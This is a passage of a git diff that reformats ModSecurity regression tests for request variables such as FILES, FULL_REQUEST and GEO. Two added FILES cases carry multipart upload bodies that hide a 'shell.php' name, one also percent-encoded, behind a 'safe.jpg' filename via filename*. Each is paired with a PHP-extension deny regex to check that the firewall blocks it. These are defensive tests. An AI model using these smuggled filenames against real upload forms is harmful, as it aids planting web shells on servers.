"port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "517", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata1\"; filename=\"myfile.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata2\"; filename=\"nextfile.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata1\"; filename=\"myfile.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata2\"; filename=\"nextfile.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule FILES:filedata1 \"@contains myfile.txt\" \"id:1,phase:2,deny,status:403\"" ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: FILES (3/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "515", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"myfile.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"nextfile.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule FILES:filedata \"@contains myfile.txt\" \"id:1,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: FILES (4/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "198", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"upload\"; filename=\"safe.jpg\"; filename*=UTF-8''shell.php\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule FILES \"@rx .*\\.ph(?:p\\d*|tml|ar|ps|t|pt)\\.*$\" \"id:1,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: FILES (5/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "200", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"upload\"; filename=\"safe.jpg\"; filename*=UTF-8''shell.%70hp\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule FILES \"@rx .*\\.ph(?:p\\d*|tml|ar|ps|t|pt)\\.*$\" \"id:1,phase:2,deny,status:403\"" + ] } -] +] \ No newline at end of file diff --git a/test/test-cases/regression/variable-FILES_COMBINED_SIZE.json b/test/test-cases/regression/variable-FILES_COMBINED_SIZE.json index 23a1c027ee..757995271a 100644 --- a/test/test-cases/regression/variable-FILES_COMBINED_SIZE.json +++ b/test/test-cases/regression/variable-FILES_COMBINED_SIZE.json @@ -1,59 +1,61 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: FILES_NAMES (1/1)", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: FILES_NAMES (1/1)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "516", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"70\" \\(Variable: FILES_COMBINED_SIZE\\)" + "expected": { + "debug_log": "Target value: \"70\" \\(Variable: FILES_COMBINED_SIZE\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule FILES_COMBINED_SIZE \"@gt 70\" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-FILES_NAMES.json b/test/test-cases/regression/variable-FILES_NAMES.json index fcf95ed972..c8a193e129 100644 --- a/test/test-cases/regression/variable-FILES_NAMES.json +++ b/test/test-cases/regression/variable-FILES_NAMES.json @@ -1,59 +1,61 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: FILES_NAMES (1/1)", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: FILES_NAMES (1/1)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "516", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"T \\(0\\) t:trim: \"filedata" + "expected": { + "debug_log": "T \\(0\\) t:trim: \"filedata", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule FILES_NAMES \"@contains filedata\" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-FILES_SIZES.json b/test/test-cases/regression/variable-FILES_SIZES.json index fa8a3525c7..3d30dbfd66 100644 --- a/test/test-cases/regression/variable-FILES_SIZES.json +++ b/test/test-cases/regression/variable-FILES_SIZES.json @@ -1,59 +1,61 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: FILES_NAMES (1/1)", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: FILES_NAMES (1/1)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "516", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"38\" \\(Variable: FILES_SIZES:filedata\\)" + "expected": { + "debug_log": "Target value: \"38\" \\(Variable: FILES_SIZES:filedata\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule FILES_SIZES \"@gt 70.000000\" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-FULL_REQUEST.json b/test/test-cases/regression/variable-FULL_REQUEST.json index c1fd971125..1700f5840f 100644 --- a/test/test-cases/regression/variable-FULL_REQUEST.json +++ b/test/test-cases/regression/variable-FULL_REQUEST.json @@ -1,59 +1,61 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: FULL_REQUEST (1/1)", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: FULL_REQUEST (1/1)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "523", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Multipart: Boundary: --------------------------756b6d74fa1a8ee2" + "expected": { + "debug_log": "Multipart: Boundary: ------------------------756b6d74fa1a8ee2", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRule FULL_REQUEST \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" diff --git a/test/test-cases/regression/variable-FULL_REQUEST_LENGTH.json b/test/test-cases/regression/variable-FULL_REQUEST_LENGTH.json index 9bba74d466..b5060342f5 100644 --- a/test/test-cases/regression/variable-FULL_REQUEST_LENGTH.json +++ b/test/test-cases/regression/variable-FULL_REQUEST_LENGTH.json @@ -1,59 +1,61 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: FULL_REQUEST_LENGTH (1/1)", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: FULL_REQUEST_LENGTH (1/1)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "508", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "--------------------------756b6d74fa1a8ee2--\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"690\" \\(Variable: FULL_REQUEST_LENGTH\\)" + "expected": { + "debug_log": "Target value: \"688\" \\(Variable: FULL_REQUEST_LENGTH\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRule FULL_REQUEST_LENGTH \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" diff --git a/test/test-cases/regression/variable-GEO.json b/test/test-cases/regression/variable-GEO.json index d304e13ab4..b0299858db 100644 --- a/test/test-cases/regression/variable-GEO.json +++ b/test/test-cases/regression/variable-GEO.json @@ -1,760 +1,866 @@ -[ - { - "enabled":1, - "version_min":300000, - "resource":"geoip", - "title":"Testing Variables :: GEO:LONGITUDE [GeoIP]", - "client":{ - "ip":"64.17.254.216", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:LONGITUDE [GeoIP]", + "resource": "geoip", + "client": { + "ip": "64.17.254.216", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"-118.403999\" \\(Variable: GEO:LONGITUDE\\)" + "expected": { + "debug_log": "Target value: \"-118.403999\" \\(Variable: GEO:LONGITUDE\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/geo\/GeoIPCity.dat", + "SecGeoLookupDb test-cases/data/geo/GeoIPCity.dat", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"maxmind", - "title":"Testing Variables :: GEO:COUNTRY_NAME [maxmind]", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:COUNTRY_NAME [maxmind]", + "resource": "maxmind", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"Brazil\" \\(Variable: GEO:COUNTRY_NAME\\)" + "expected": { + "debug_log": "Target value: \"Brazil\" \\(Variable: GEO:COUNTRY_NAME\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/GeoIP2-City-Test.mmdb", + "SecGeoLookupDb test-cases/data/GeoIP2-City-Test.mmdb", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"geoip", - "title":"Testing Variables :: GEO:LATITUDE [GeoIP]", - "client":{ - "ip":"64.17.254.216", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:LATITUDE [GeoIP]", + "resource": "geoip", + "client": { + "ip": "64.17.254.216", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"33.916401\" \\(Variable: GEO:LATITUDE\\)" + "expected": { + "debug_log": "Target value: \"33.916401\" \\(Variable: GEO:LATITUDE\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/geo\/GeoIPCity.dat", + "SecGeoLookupDb test-cases/data/geo/GeoIPCity.dat", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"geoip", - "title":"Testing Variables :: GEO:COUNTRY_CODE3 [GeoIP]", - "client":{ - "ip":"64.17.254.216", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: GEO:COUNTRY_CODE3 [GeoIP]", + "resource": "geoip", + "client": { + "ip": "64.17.254.216", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"USA\" \\(Variable: GEO:COUNTRY_CODE3\\)" + "expected": { + "debug_log": "Target value: \"USA\" \\(Variable: GEO:COUNTRY_CODE3\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecGeoLookupDb test-cases\/data\/geo\/GeoIPCity.dat", + "SecGeoLookupDb test-cases/data/geo/GeoIPCity.dat", "SecRule REMOTE_ADDR \"@geoLookup\" \"id:1,pass,t:trim\"", "SecRule GEO \"@contains test \" \"id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "resource":"geoip", - "title":"Testing Variables :: GEO:COUNTRY_CODE [GeoIP]", - "client":{ - "ip":"64.17.254.216", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - 